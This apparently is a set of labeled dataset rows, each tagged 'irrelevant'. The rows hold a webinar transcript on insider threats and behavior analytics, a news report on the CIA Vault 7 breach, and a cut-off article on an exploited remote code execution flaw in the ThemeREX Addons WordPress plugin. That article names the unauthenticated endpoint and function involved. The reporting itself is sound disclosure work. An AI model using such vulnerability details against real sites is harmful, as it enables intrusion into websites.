be a moderator for this event. I’m excited to welcome our panelists. But before I do that, I do have a few housekeeping notes. First of all, after our speaker presentation, we’re going to have a roundtable discussion and take questions from the audience. I’d like to remind everybody that they can submit questions at any time during the webinar. You can see the Control Panel widget on the right-hand side of your screen. If you look, there’s an option for questions, you can just click on that, it opens up a window, and you can just type your queries right in there, and we’ll be able to see them. Also, I’d like to note that the webinar is being recorded. We are going to be sending out a link where you can listen on demand and you can share that link with your colleagues, revisit later, or whatever you would like to do with it. And on that note, let’s talk about today’s speakers. We’re going to hear from Saryu Nayyar, who is CEO at Gurucul, as well as Craig Cooper, who is a senior vice president of customer success and COO at Gurucul. I’m excited about these two. They’re going to tag team a presentation today and provide kind of a deep dive into the current state of insider threats, including the risks and challenges during this pandemic with everybody working from home. They will also delve into some ideas on what we can do about it. So, let’s take a quick look at the agenda here. They are going to talk about how things are changing. They’re also going to go into some interesting survey data, findings, which I found to be fascinating; behavioral analysis; and some other best practices; and then we’re going to move on to a roundtable discussion. You can see there are four topic areas and we’re just going to have an open discussion and discuss what’s going on out there. Before I pass it over to you and Craig to kick off the presentation, I’m going to post a poll right now for attendees. Poll Question: Has the insider risk increased for your organization during the pandemic? I’ll just give you guys a few minutes to answer that. Poll Question: We also have a second poll that we’re curious for you all to answer. How vulnerable is your organization to insider threats? And again, so getting some responses, so just give us a second here. Poll Question: OK, great, and then we have one more, which is: Do you have a formal insider threat program in place? All right, so I collected the responses, and after the conclusion of the presentation, I will be back on the line share those results before we head into our roundtable discussion. So, with that, I am going to pass the ball over to our presenters today. Welcome, guys. I’m so glad that you’re here. Saryu Nayyar: Thank you, Tara, really appreciate the introduction. We at Gurucul have spent the last decade helping organizations globally to deter, predict, detect, and remediate insider risk. I really appreciate the opportunity to share insights on the current paradigm of insider risk. Work from home employees, staff reduction, reduced hours, or furloughed insiders; the unfortunate reality is that insider risk is certainly on the rise. With that, Craig, do you want to walk through some of our survey results about how the paradigm is looking right now? Craig Cooper: Thank you very much. I appreciate that, Tara. Before we get started, what I wanted to do today is talk about what an insider threat really is. And the reason I wanted to do that is that in my experience, working with a lot of different organizations, people define this differently. And even different areas within the same business will look at insiders differently. When you talk to someone in the information security department, maybe in a threat area, or an insider threat department, even in some organizations, there are a lot of different actors. They’re listed here on the screen: employees, contractors, temporary employees, and whatnot. The other thing that’s interesting is that they’ll also add other things in there, things like compromised, host compromised accounts. They look at those insiders too because they’re external people — or external entities if you will — that are acting as an insider. The tactics you need to use in order to identify those insider threats are the same, because you’re looking at someone that is acting as an insider, which is kind of interesting. But typically, we look at insiders as being employees, contractors, business partners, and potentially compromised accounts, and/or hosts as well. The question is often: What might they be looking at? And often, when you are talking about insider threats on the physical side, it could be someone targeting a specific person. That’s not very comfortable to think about, but that’s obviously something that could happen. This happens with workplace violence and those types of things. But more often than not, when we’re talking information security, they’re looking to identify information, customer records, maybe those top-secret secrets. Those types of things. Then people will ask, “why would someone do that? All of our employees are good!” There are a lot of different reasons. People are generally financially motivated. Maybe they have a rift to settle with someone within the organization. It could be someone from the outside, trying to come in and take trade secrets. Probably one of the biggest insider threats is accidental disclosure. That’s often done through phishing attacks, which we’ll talk about a little bit later. It also could be loss or just accidental disposal of information. People throwing something in a dumpster and having it found by someone else. There are lots of different and potential impacts here: everything from employees being harmed all the way through to the organization being harmed. So, when we look at an insider threat, we’ll be talking primarily about people on the inside, and potentially will also identify some cases where we should be talking about outsiders acting as insiders as well. So we also wanted to go through and talk a little bit about survey results here. This is the Cybersecurity Insiders Survey and we found some interesting information. This is not unlike the poll that we just took and will review at the end of the presentation today. We asked: How vulnerable is your organization insider threats? And what we found interesting here is that, if you look at this, the vast majority of end users or cybersecurity professionals out there feel that their organization — almost 70 percent — feel that their organization is vulnerable to insider attacks. And I would say that, in my experience, with the pandemic here, we’re actually seeing that on the rise because a lot of the physical controls that we’ve had in place, like business processes and things, those resources are now working from home too. Those controls are no longer effective. So we’re seeing this actually on the rise with the pandemic because a lot of the controls are in place, again, are obsolete, they don’t work anymore. What types of insiders posed the biggest security? And this is not probably a surprise to a lot of people, that privileged IT users and administrators are looked at, as the as the biggest threat to organizations. And I think what is interesting here, is that everyone’s favorite insider threat story, the Snowden case, is what kind of drove the whole idea of an insider. This is a was a case where you had someone misusing their privileges and basically divulging nation secrets based on that. Have insider attacks become more or less frequent? We’re seeing insider attacks on the rise. This is not a surprise at all. Hopefully people are doing work in progress, or they have a program in place, because insider attacks are becoming more and more frequent and more, and more prevalent out there. Another interesting are we polled is the organization’s ability to monitor and protect against insider threats. And, 58 percent of those we polled consider their monitoring to be somewhat effective or not effective at all. Which is interesting too. And we’ll talk a little bit about some approaches here. A lot of organizations are starting to move away from traditional in-depth defense controls for looking at insiders and new looking more at behavior analytics which is kind of in Gurucul’s wheelhouse. But again, a lot of organizations feel that their current ability to monitor it is tough. The other interesting thing on this is that, when you’re working with people in Europe, and other countries, even, some states in the U.S., there are some handcuffs that get put on as far as user monitoring. And so we can talk a little bit more about that if someone wants to go down that road. Insider threat management focus. You may say, well, geez, there’s more than 100 percent here if you add all these up. That’s because people can select more than one. But, again, most folks are working on the detection and deterrence piece. And then you have the analysis and post breach. Where we’d like to get more organizations to is real-time detection and remediation on the spot. That’s what most organizations are trying to drive to, and we’ll talk about a process that we use with our customers in order to make that happen as well. How quickly can you remediate insider threats? And this kind of touches on what I was talking about here, 25 percent in real time. This is what we want to do. We want to identify an insider threat, and we want to be able to stop the exfiltration or stop the damage before it happens, or, or at a minimum, as it’s happening, so you can minimize the impact to your organization. And really before data exfiltration. The threat may have grabbed some data. And if you can stop them before they actually get it out, that’s a good thing. But again, most organizations, they detect it and then try to figure out what happened after the proverbial horse is out of the barn, so to speak. So, couple more, and then we’re done here: Impact to the insider breach. I think this is kinda interesting, too. And as I talked about on the first slide, you need to think about a breach in terms of reach and costs, potentially millions and millions of dollars. Think about what happened to Target when they’re infamous breach happened. They literally lost the whole shopping season revenue, which hurt their company, hurt their stock price and really hurt their brand. And you know all of the others out there Equifax, Starwood and all of all of these different breaches and even on the medical side with medical records. And things that have happened, really hurt these organizations from, from the outside looking in, you know, the brand damage. But there’s also other things that happen. Inside, so when your organization is breached, in a lot of cases you must put the brakes on conducting business. Literally, your business comes to a halt and in a lot of cases, you need to try to figure out what’s happening. Your business partners want to keep moving forward. But in a lot of cases, you end up with customers that want answers now. And you end up having to scramble your team from doing what they normally do to answering those questions or diving in and doing investigations and trying to figure things out. Then your customer service area is answering questions that were not planned for, so call centers get overloaded. It’s a mess, and it’s not a pleasant for you, for your customers, for your employees or anybody. So really, again, if you can avoid that insider breach, or any breach for that matter, that’s super, super important to do. The last one: House cloud migration, impacted insider threat detection. Respondents are saying it either hasn’t changed or is somewhat harder. Some are saying it’s significantly harder. And I think this is interesting. A lot of cloud service providers, while they provide some logging mechanisms and SaaS applications, we really don’t have the visibility into those systems that we do in our enterprise systems. And what’s really interesting with a pandemic now, we’re seeing more and more organizations moving towards cloud solutions. We’re seeing a lot of that being accelerated because the cloud provides flexibility for your business to be conducted globally, you know, without having to worry about infrastructure and whatnot. It’s all accessible. And it makes it makes it much easier to conduct business in a lot of cases. So businesses are generally shifting to the cloud. Most of them have cloud strategies now, and so you’re going to have to figure it out and we’ll talk a little bit more about that as well here today. Saryu Nayyar: So, you know as we talk about the pandemic, we all know that things changed on most of us overnight. This wasn’t a planned activity. Most organizations didn’t have a plan for a pandemic like this. So, you know, overnight, we saw changes in how corporate devices and personal devices are now being used to access corporate data. How do we control remote workers? Insiders are accessing your data from unsecured networks, Some companies are coming up with controls on that very quickly. And overall, the phishing attacks have increased significantly. Within the first week there were 4,283 malicious domains created for covert activity and phishing attacks increased by 11.6 percent just in the first week of March. We’re also seeing a lot of changes in the third-party controls. When most of us think about insider threats, organizations think about, of course, their employees, right? Because they have keys to the kingdom. Companies then later realize that all the third-party partners or vendors they work with, and also companies that they outsource a lot of work to — some companies the entire IT department is outsourced — are also potential insider threats. Now, with folks internationally in remote locations and not coming to offices, typical the clean room controls are not effective anymore. They still have access to your data, and you cannot take that away, because they’re running some of your critical business applications, which now need more support with your workforce. And your consumers want to be more digital in the transactions they’re doing, right? So, there’s a whole paradigm shift there. And then, of course, the sentiment, right? The sentiment part is especially important for insider risk. People are being furloughed, layoffs are happening, and wages are being reduced. When you think about insider risk, you want to think about sentiment analysis, because that plays a very important role. Why did somebody want to peek at that? Why did somebody want to steal the data, exfiltrate confidential information and what have you? We are seeing a major paradigm shift. I would say we’ve been working almost round the clock since COVID-19 hit us, helping organizations figure out controls for this new normal. Everybody thought this is going to maybe last for a few weeks and now we know it’s here to stay. Many are saying that we’re safer at home until the end of this year, at a minimum. That’s where we are. Insider risks include sabotage, espionage, fraud, competitive advantage, and are often carried out through abusing access and mishandling physical devices. These threats can also result from employee carelessness or just plain policy violations. We see a lot of that happening with our customers that allow system access to malicious outsiders. That’s the big thing, and Craig talked about that in the beginning. When you think about insider risk, don’t just be thinking about your employees, your contractors, your third party, or your visitors; be thinking about outsiders who are impersonating an insider. Those are things you want to detect as well. Now, these activities typically persist over time, and they occur in all types of work environments, ranging from private companies to government agencies We usually put them in three categories. Technically, we would say that in the account or host compromise, this most certainly leads to outsiders coming in, impersonating an insider and causing a lot of damage. This is a high-risk situation. I would say think about the Target breach that Craig talked about. Next category would be accessed misuse and substance misuse. And data exfiltration is a separate category. Some real-life examples, like Edward Snowden, accessed and misused nation secrets. So that’s the big one. Then we recently heard about Tesla, where somebody accessed how to changes in the production line, which caused brand damage, as well as operational, efficiency damage. Alright, So, these are the categories, we kind of grouped them. Insider risk is something I’m personally very passionate about when we talk to organizations. And over the last decade, I have spoken to government agencies that conducts very deep research on insider threat. I would say many large Fortune 100 companies globally, large organizations, and even small companies as well, need to think about insider risk, which is to predict risk using activity behaviors. So, using activity or logs information to predict this reduces the attack surface by reducing the identities or excessive access. So, I’ll use an analogy here. So, let’s say you’re going on a vacation and you share your home keys with a group of trusted friends, right. You come back, and you haven’t taken the keys back, you go back to your daily life. Now you have a situation where somebody you know has stolen some of your stuff. So, you decide you’re going to monitor who’s using the key. I think the more important thing here is to go back and assess who shouldn’t have the keys. And when you think about an organization, you want to think about who has the keys to the kingdom in my company, who has privileged access, who should really have that access, or should we consider taking that away periodically, cleaning it up, and get down to providing information on a “need to know” basis. By doing that, you reduce the attack surface, so you’re not just monitoring it after the fact and putting controls to detect if somebody’s trying to misuse. You’re actually controlling who has the keys to the kingdom. Now, flip the situation and think about, if it was an outsider, and then accounts, compromised. Lastly, now you’ve handed out keys to the kingdom to your insiders the risk is exponentially higher because they know who to reach the highest level of access. Those are the folks they’re trying to impersonate and compromise their account. And from there, they can cause a lot of damage. Now, the core thought here is when you think about setting up your programs, or if you’re already in their journey, and you’re thinking about maturity of operationalizing your programs, don’t forget to identity threat plain. And then another key thing is one leading indicator of insider risk is behavior, right? That’s the key indicator of insider risk. And that’s very important. So, you want to use techniques where you are doing behavior profiling when you’re figuring out what is normal and not normal, not only for each insider, but also dynamically figuring out what would a credential peer group B, and what is their normal? So, you can really cut down the false positives, and quickly get to a point to understand, you know, where does the risk lie in your organization? So, we want to leave you guys behind with two sides of the equation insider risk equation: X, axis, and activity, both are equally important to really mitigate the insider threats. Here is a framework that we worked with many, many large, global companies over the last decade. The theme here is, how do we get to a mature running insider threat program? So usually when you think about it, you want to think on the left side, you want to think about all kinds of data, right? Don’t restrict yourself. You don’t want to just be thinking about your infrastructure logs system. You want to be thinking about your business applications, you want to be thinking about access, right? You want to be thinking about a bigger brain that’s able to take all of this information and come back with a very different inside out view of what all of this access and activity looks like. Run analytics on it because it is going to need millions of combinations to be looked into. Once again, think about identity, what access they have. Think about the accounts. You know, there can be multiple accounts associated with a person. You want to holistically understand what they’re doing across the different accounts. Take over the activity logs to see what they’re actually doing with that access and access entitlements. What do they really, deep down, have access to? What keys have you given them? Bring it all together and pick a system that has big data, which is independent, has data democracy, and doesn’t lock you down into its own proprietary setup. So, take that choice of big data, and run the behavior analytics on it. It’s baselines, all of the insiders, their normal, their peer groups normal, and has algorithms built-in to give you one single risk score that you can absorb. So, let’s pick on a scale of 1 to 100, what is very high risk and critical, so you can take prescriptive actions, right? Then, and the idea is to automate this process and automate the administration, decisioning and the governance. Many of our customers affectionately call this program model-driven security, which is data science backed automated security controls for insider threat and other control automation, as well. So, I’m going to spend a few minutes here talking about the best practices. Now, these are best practices that we’ve learned working with many, many companies globally of all sizes, and in all different verticals. So, feel free to ask questions if you want to reach out to us. Would be happy to help. So, the first tip of the program is to initiate the program, Right? And that’s a very critical step. You want to make sure that you identify, who the stakeholders of this program are. And you want to make sure that you include all the key stakeholders, like HR. We see them being left behind many times. And they are a critical part of an insider risk program. And how to operationalize and get to a successful program. You might want to consider bringing them in later if that’s what the culture of the organization needs. But setting that upfront is going to give you a lot more success keeping and understanding the culture of your organization. You know, spectrum financial companies accept that insider risk is a problem. They have compliance regulations. They know they have to monitor this. The company, as a whole, understands this and that it’s serious. It’s not a trust issue. It’s a security control. On the other side of the house, we work with high-tech companies. We’re talking about insider risk is a trust issue. It’s about not trusting your employees, not trusting your contractors or other folks you do business with from a third-party perspective. So that’s a spectrum. Understand the culture and that the culture is important. Every organization has an insider risk issue, the key is to understand, how are you going to communicate. How are you going to manage this? You don’t want to be Big Brother. So that communication part, super important, and we have templates. We have set up a whole program, which really works. So if anybody needs help, reach out. Next, important thing is the product selection. Please do not think that traditional approaches can solve insider threat. It’s a whole mindset change. It’s a different way of looking at the problem. You’re looking at it from an inside-out perspective. You’re looking at it from a context perspective. This is not about transactions. There are many best practices on how you would operationalize. But even from a product selection perspective, it’s very important that you really look into some key things, and don’t just don’t just look at your current platform and say I have a some legacies, and maybe I’m just going to use it for insider risk. It does not work. It’s been tried tested by many, many organizations who failed. If you wanted to reference, happy to provide that. Key things to think about, from a product selection perspective is a platform that can really give you a unified security and risk perspective. Unified is important because you want to bring in different parts and pieces. You don’t want to be going to a different platform to research on top of it. You don’t want siloed analytics. You want one place you consolidate all this data and run analytics and get actionable results. When I talk about actionable results, I’m talking about prioritizing risk. So you exactly know that if this is the risk and it is a behavior model that got triggered, your insider risk management team knows what to do from there. More importantly, as you mature, you can automate these controls, which is the end state we’re going after. Next is to define your threat indicators. This is very, very important. You know, over the last 10 years, I would say, we’ve learned a lot about this. We have best practices on our threat indicators that give you the most value. And I would say, HR attributes also play a key role in that. It’s important to have that partnership upfront, and, of course, all of the controls so that nobody gets to see any confidential information or have to be built into the platform. Then next is the linking. We’ve talked about this early on, as well. Building that context together across various systems, looking at their access activity, any alerts, and building that holistic view and linking it together is important. Not using correlation rules. This doesn’t give you the highest efficacy, because they’re very basic. You want to use, and platforms should have, this capability. You want to see who has link analysis algorithms built-in to give you the most efficacy and linking all this data and building that context. Next would be the baseline. You want to a base behavior, not just on insiders. You also want to look at their peer groups and you look at their machine. You want to look at other machines in that peer group, anyone, develop baseline behaviors and see where the anomalies are. And then it doesn’t stop. It’s not just about anomalous behavior. It’s about risky, anomalous behavior; that’s what we’re going after. The next point of maturity comes in the monitoring and responding to this. This is a key thing. We’ve seen many companies struggle with this. Everybody goes into the soft mindset to solve this problem. This is a this is a lifestyle change from that process. It’s a different way of looking at it. You want to set the right response mechanism, build the right playbooks, have the right governance committee set up so you operationalize, right? To have an effective working insider threat program, you need to have all of these working and continuously being able to review the results and provide feedback. The algorithms can tune themselves, because they’re self-learning, and you get higher efficacy results. The good news is a good platform should be giving you very few alerts every day. If you’re talking about a company of, let’s say 10,000 employees and 10,000 insiders, I would say you would get about hundred alerts in a month. That’s very few compared to the other signature-based platforms. Craig Cooper: So a lot of different findings, here. I’m not going to read all of these or go through all of these through. I think one of the big ones that, that hit home for me was it in 2018. It actually wasn’t even a, finding per se, but in 2018, a customer of ours, a medical firm, hospital system, in Minneapolis, MN purchased our system to look at and look for insider threats. The reason they did it is because Minneapolis, was hosting the Super Bowl and the whole purpose of this was to monitor VIP, either current and or former NFL players, medical records, to make sure that TMZ or some other news firm didn’t get information, either before or during, or even after the fact. The Super Bowl players and former NFL players medical records, you can imagine, from an insider perspective, how easy it would be for a doctor or a nurse that’s not even affiliated with a nearby hospital, but one that may be off in the distance, and accessing all of the medical records in the system and be able to go up and say, lookup Tom Brady’s information or someone else’s. So, this is very, very cool use case. And we did not detect anything. There weren’t any breaches in that one. So, that was actually a really happy outcome. It was more of a monitoring thing than any actual findings. Another interesting one that we have found working with internet retailer, their customer service reps going out and actually taking card charges and applying it to their own personal accounts. And I thought that was really interesting, It’s fraud but it’s also inside or they wouldn’t have been able to do it, had they not had access to the inside systems. We detected another one that people often don’t think about. Terminate employee accounts, or data from SaaS applications. we had a customer, actually multiple customers, this happened to on more than one occasion. Most traditional controls don’t collect information from HR. We don’t have indicators from HR from the identity system saying, “hey, this person was supposed to be removed.” Furthermore, a lot of times our SaaS applications are provisioned through different processes, often manually. And in some cases, run out of the business rather than through IT. And, we often find Salesforce access to left open to former employees. And they just go in, they download the customer list, they download revenue reports, it’s a crazy place to go. Using an analytic system like this, if you collect contexts from your HR and other other sources have the ability to actually identify and put the pieces together to say, “hey, this person is no longer with the organization, why is their account, being used at all?” Being able to do that, we’ve also identified where the account was shut off and turned back on. Data was exfiltrated and then turned off again. And this was a case where someone was actually leveraging privileged access that they had, went in and enabled an old employee account, did some things, disabled the account and the identity system never ever found it, because the identity system reconciles accounts on in this case on a 24 hour basis. So, the state of the account was, what it was. Or what, it was expected to be between cycles? All of this activity happens so when they re-ran, the reconciliation was already where it should be. It would have gone undetected had they not been looking for behaviors like this. So, there’s a lot of interesting customer findings out there, and we’d be happy to talk more about that as well, if, if you want to do that during the roundtable discussion. So, with that, I think, what we’ll do is, I’ll turn it back over, and we can open it up to questions and roundtable. Tara Seals: Again, I would just like to remind the audience that there’s still time to submit your questions using the control panel on the right of your screen. We’re going to try to get to as many of those as possible. And now, in addition to Craig, my colleague Lindsey O’Donnell is going to join us for our roundtable today. So welcome, Lindsey. Before we get into our discussion, I wanted to go over the poll results. So, the first thing that we had asked was: How vulnerable is your organization? Now, 11 percent of our attendees said that they felt extremely vulnerable. And that compares to 5 percent in that broader pool that you guys talked about earlier, which is interesting. Of course, maybe the reason you’re attending a is because you’re concerned, right? Maybe a little bit of a skewed sample here, but I thought that was interesting, more than double. Also, 82 percent said that they feel vulnerable or extremely vulnerable and another 7 percent said they don’t feel vulnerable. So that’s an interesting result, too. The second poll question was: Has the insider risk increase for your organization during the pandemic? Unsurprisingly, the majority, 55 percent, have said that yes, it has increased. Forty-three percent, however, said, no change. And then the remaining 2 percent said that they have found their insider threat danger to be reduced. OK, Interesting, right? Yes. And then the final poll question says: Do you have a former insider threat program? 40 percent of our attendees said no. Thirty-two percent said yes, and 27 percent said that they have something in progress, which is interesting. Now I think we can probably start our roundtable discussion. I know that we had sketched out about four different buckets to talk about here today. And I think you know maybe we could start off talking about those inadvertent employees, the social aspect of this. You know, a lot of companies have invested in employee training and awareness, but, you know, how do those challenges and good security hygiene, how do they become more magnified when we have so many employees working from home for the first time outside that traditional corporate perimeter? Craig Cooper: So, what one of the interesting things is, and again, I looked at this through the eyes of a CISO as well, one of the interesting things that I find with the whole pandemic and people working from home now, is that people are kind of put in a precarious position. You know, where are they going to work. And they’ve got a lot of cases, kids at home that are trying to do schoolwork or trying not to do schoolwork, depending. And you’ve got, you know, often espoused that is working at home as well. And, so, you have a lot of, I’ll just say, action happening in the home today that a lot of people may or may not be prepared for. I’ve been on conference calls with people that are working out of their garages because their spouse has got the office. A lot of people are working on the dining room table or the kitchen or bar or wherever. And when you think about risks to your organization, you know, think about the, I’ll call it, the drive-bys that happened in your home. So, if you’re, if you’re a medical firm, for instance, and you’ve got patient records up and you’re working on medical records, maybe someone’s just keying in medical procedures and things that happen. I don’t know how much of that happens anymore with EMR systems, but I’m certain that that there’s some of that, and you can have people just looking up records and billing and those types of things that processing insurance claims and those sorts of things. There’s a lot of data on the table there or out in the open, if you will. When you’re at work, you’ve got a cubicle and you’ve got like-minded people around, but, you know, who’s to say that, that you don’t have a teenager that’s looking over your shoulder, or a spouse is looking over your shoulder. And by the letter of the law, it’s a breach to have someone else looking at those things, even if it’s, oh, it’s just a family member. Imagine if you were working on a chip design for 5G, 6G, cellular. Now, it’s something new and cool that no one, no one has even dreamed of yet. And you have this trade secret. And it gets exposed because someone’s walking by, or even the idea that your company is looking to, to build this thing. Maybe a neighbor kid walks by, and they have a presentation that talks about 6G and they mention it to their parents down the street. Who knows how that data could get out? The other interesting thing is the mix of company data on personal devices and personal computing on company devices and the possibility for inadvertently sharing information there. People often download stuff to their desktops, and then they turn around and may have their kid or their spouse use that computer to go, you know, go to fulfill an Amazon order or something like that. And who knows who has access to that data on their desktop. So, now, what do you do about these things? And awareness is one of those things. Training is one of those things that you should do to keep reinforcing the message and hope people take it. But, you know, kind of like leading a horse to water, you hope that they consume as much as they can. But if they choose not to, it becomes a performance issue. So, I would just say that reinforcing your messages, reminding employees that they shouldn’t be using their work devices for home computing and that they should be cognizant of their surroundings when they’re working with sensitive information. Those are important things to do. Lindsey O’Donnell: I completely agree with you. I think you kind of did a really good job describing some of the kind of inadvertent issues that could crop up from work from home right now in terms of insider threats. One thing that I’ve noticed on social media are employees posting their work from home and pictures of their remote workplace. And I think that there could potentially be sensitive data on the monitor that people could see. Potentially, that might be a little password on a sticky note next to the computer. So, I think just even the smallest things like posting a picture of your remote workplace on Twitter can really show that these simple mistakes really go far in a remote workplace. And I think you also made a really good point about how a lot of employees are juggling crying babies and barking dogs in the background. I’ve certainly come across many of those during my work calls, and I think that under these conditions mistakes can happen. For instance, you could have something as simple as sending an e-mail, that it’s containing critical internal company data to the wrong e-mail address. Like you mentioned, there’s also a lack of guidelines around how to deal with privacy in this new workplace. I was writing the other day about a recent survey from IBM security that found more than half of those surveyed had yet to be given any sort of new security policies on how they can securely work from home. So, I do think a lot of employees aren’t aware of correct security and, you know, workarounds here, in order to be the most secure and private that they can be. Saryu Nayyar: Yep. Front a security practitioner perspective: What should we be doing? So, first, is security a business enabler? It should only be visible when needed. So, that’s an underlying fee that we always talk about second but is very important. One thing that will not change as much, is the behavior. Behavior is especially important. If somebody’s job is to be a data scientist and research, that is what they should continue to do on your corporate systems when you look at their access inactivity. And that’s, that is what the behavior should continue to be. Now, all of a sudden, their behavior is changing. That is the leading indicator of risk. But how do you fix that? When you do behavior analytics you understand what the behaviors are. Another important thing, Lindsey talked about, social media, and I talked earlier about sentiment analysis. When you look at your decision on technologies are building this up, Reach out to us. Let’s talk about how sentiment analysis plays a very big role in how you connect to social media, and mature platforms have the capability to pull in that information using link analysis as well. As this new normal sets in, understand that it is more important than ever for you to build that user entity based linking across your different data systems. You might have moved to cloud much faster than you thought you would. So, get all of that data together in a home that can quickly give you that value. And then understand the capabilities to get to proactive enforcement. And this goes back to what Lindsey was saying. I want to make sure that no e-mails are going out with no attachments that shouldn’t be sent out. So, we know somebody’s risky, you can do a DLP enforcement and make sure no e-mails go out. Try to get a piece of building a mature platform or a mature insider threat capability, even with all of this going on and reduce the insider risk. Tara Seals: We’re unfortunately, running out of time. This is such a great topic area that I feel like we could go another hour on this. But we did have a couple of audience questions that I wanted to get to before we had to wrap it up. And since we only have a couple of minutes left here, one is a follow up on the sentiment analysis idea. What are some of the processes that go into that? Is it just a question of, you know, sort of monitoring social media? How do you even start to begin to architect sentiment analysis or train your algorithms to recognize that? And also, to follow up on that a little bit, how do you balance that with the privacy? Saryu Nayyar: Absolutely. Great question. So, first, let’s say, on sentiment analysis, there are many algorithms that can be used to take that data. To start with, we’ve seen basic things. Like, let’s say, e-mail logs. Have the subject, have the content, looking through that, and looking for certain threat indicators. That’s where the maturity of an insider risk platform comes into play. How many algorithms or how much? How many spread indicators are there? What is the depth of understanding of that sentiment analysis? It’s not just about social media. It’s really about also using your own company information, which everybody knows is monitored for such things. So, when I say the basic example of e-mails and you know, that would be a good one to start with. Second thing is, how do you balance this with privacy? Number one, from a privacy perspective, there is no new data be created This data already exists, and it’s just being analyzed. Second, this isn’t only share good people with the right privileges who need to see this. It’s not like even a soccer team will have access to see the results of sentiment analysis. Only very few people have that ability. And once again, it goes back to the platform you’re selecting. Make sure you can do masking, make sure you can do masking based on rules like: Who has access to what I want to mass? What can they see in the platform? And also building partnership with HR; privacy, legal, again, will be very important to implement this. I’ve done a lot of research on this. I would love to have a separate session with anybody who’s interested. We can talk about sentiment analysis, which is for everybody, extremely critical key component of it, insider risk, program success. Craig Cooper: If you’re using your corporate device for personal computing, you’re being monitored, right? And so, people need to be cognizant of that. And then, there are different ways of collecting data, being social media, e-mail or, or whatever. And some of them could be as simple as just going out onto Twitter and whatnot. The last thing is that I would say is that if people are using social media, that they voluntarily understand that it’s, by nature, social, which means it’s public and, in most cases, if you know if you’re tweeting something or you’re putting something on LinkedIn, it’s there for the public to see. So it would be considered public information. Saryu Nayyar: That’s an excellent point. People have an expectation of privacy and some of these situations where maybe, particularly when it comes to corporate e-mail and things like that. But then there’s also, of course, that question about, you know, building rich data profiles over time by using all of this information. Now, a bigger picture of someone might not have been at the original intention. So that I think that’s why that question comes up a lot. Tara Seals: Unfortunately, I think we’re going to have to leave it there. I would just like to let everyone know that if there are outstanding questions, or anybody wants to follow up on anything, please feel free to e-mail me. That’s my e-mail address right there. And, you know, thank you for attending our Threatpost webinar. I’d like to thank our panelists, Saryu, Craig and Lindsey. Thank you so much for participating and lending your insights today. And thanks to all of our attendees for joining, and we hope to see you on our future Threatpost webinars.",irrelevant
"Theft of CIA’s ‘Vault 7’ Secrets Tied to ‘Woefully Lax” Security An internal investigation into the 2016 CIA breach condemned the agency’s security measures, saying it “focused more on building up cyber tools than keeping them secure.” A just-released report on the 2016 Central Intelligence Agency (CIA) data breach, which led to the Vault 7 document dump on WikiLeaks, blames “woefully lax” security by the nation’s top spy agency. The conclusions were part of an internal 2017 Department of Justice (DoJ) report on the CIA breach. On Tuesday, Sen. Ron Wyden released portions of the report (PDF)that were made public via recent DoJ court filings. The report described the CIA as “focused more on building up cyber tools than keeping them secure.” Part of the investigation revealed sensitive cyber weapons were not compartmented and government cybersecurity researchers shared systems administrator-level passwords. Systems with sensitive data were not equipped with user activity monitoring and historical data was available to users indefinitely, the report stated. “In a press to meet growing and critical mission needs, [the CIA’s Center for Cyber Intelligence (CCI) arm] had prioritized building cyber weapons at the expense of securing their own systems,” according to the report. “Day-to-day security practices had become woefully lax.” At least 180 gigabytes (up to as much as 34 terabytes of information) was stolen in the breach, the report said – roughly equivalent to 11.6 million to 2.2 billion electronic document pages. The data stolen included cyber tools that resided on the CCI’s software development network (DevLAN). The mission of the CCI, which was targeted by the data breach, is to “transform intelligence” through cyber operations. The report outlined various security issues discovered in the CCI. For instance, while CCI’s DevLAN network had been certified and accredited, CCI had not worked to develop or deploy user activity monitoring or “robust” server audit capabilities for the network, according to the report. Because of that lack of user activity monitoring and auditing, “we did not realize the loss had occurred until a year later, when WikiLeaks publicly announced it in March 2017″ by leaking troves of stolen CIA hacking tools, according to the report. It said, if the data had not published, the agency might still be unaware of the loss. “Furthermore, CCI focused on building cyber weapons and neglected to also prepare mitigation packages if those tools were exposed,” according to the report. “These shortcomings were emblematic of a culture that evolved over years that too often prioritized creativity and collaboration at the expense of security.” Another issue is that the agency lacked “any single officer” tasked with ensuring that IT systems were built secure and remained so throughout their lifecycle. Because no one had that task, no one person was held accountable for the breach, the report said. And, there was no lookout for “warning signs” that insiders with access to CIA data posed a risk. According to The Washington Post, which broke news of the report, the task force’s report is being used as evidence in the trial of former CIA employee Joshua Schulte, who has been accused of stealing the CIA’s hacking tools and giving them to WikiLeaks. The report outlined several (heavily redacted) recommendations for the agency to take to bolster its security. That includes enhancing its security guidelines and classified information handling restrictions for zero-day exploits and offensive cyber tools. However, Sen. Wyden, a member of the Senate Intelligence Committee, said in a stinging public letter to John Ratcliffe, the director of National Intelligence, that even three years later the U.S. intelligence community still has a ways to go in improving its security practices. For instance, he said, the intelligence community has yet to protect its .gov domain names with multi-factor authentication; and, the CIA, National Reconnaissance Office and National Intelligence office have yet to enable DMARC anti-phishing protections, he said. “Three years after that report was submitted, the intelligence community is still lagging behind, and has failed to adopt even the most basic cybersecurity technologies in widespread use elsewhere in the federal government,” he said. “The American people expect you to do better, and they will then look to Congress to address these systematic problems.” Fausto Oliveira, principal security architect at Acceptto, told Threatpost that Wyden is “quite right” in asking why standard security practices in the industry are not being adopted by the CIA. “Based on the findings of the report, it appears that there was a lack of IT and cybersecurity governance that led to a lax adoption of security controls,” he said. “It is not an operational matter, it is a matter of the agency’s management not setting the right goals to manage the risks associated with operating an organization, specifically an organization that is a desirable target for all kinds of attackers.”",irrelevant
"Popular ThemeREX WordPress Plugin Opens Websites to RCE The bug has been under active attack as a zero-day. A critical vulnerability in a WordPress plugin known as “ThemeREX Addons” could open the door for remote code execution in tens of thousands of websites. According to Wordfence, the bug has been actively exploited in the wild as a zero-day. The plugin, which is installed on approximately 44,000 sites, is used to apply various “skins” that govern the look and feel of web destinations, including theme-enhancing features and widgets. To provide compatibility with WordPress’ Gutenberg plugin, the ThemeREX Addons plugin uses an API, according to Wordfence researcher Chloe Chamberland, writing in a blog posting on Monday. When the API interacts with Gutenberg, the touchpoints of that communication are known as endpoints. ThemeREX uses the “~/includes/plugin.rest-api.php” file to register an endpoint (“/trx_addons/v2/get/sc_layout”), which in turn calls the “trx_addons_rest_get_sc_layout” function. This introduces an access-control problem, the researcher noted. In unpatched versions of ThemeREX, “there were no capability checks on this endpoint that would block users that were not administrators or currently signed in, so any user had the ability to call the endpoint regardless of capability,” she explained. “In addition, there was no nonce check to verify the authenticity of the source.” Further down in the code, there’s also a functionality used to get parameters from widgets that work with the Gutenberg plugin. “This is where the core of the remote code execution vulnerability was 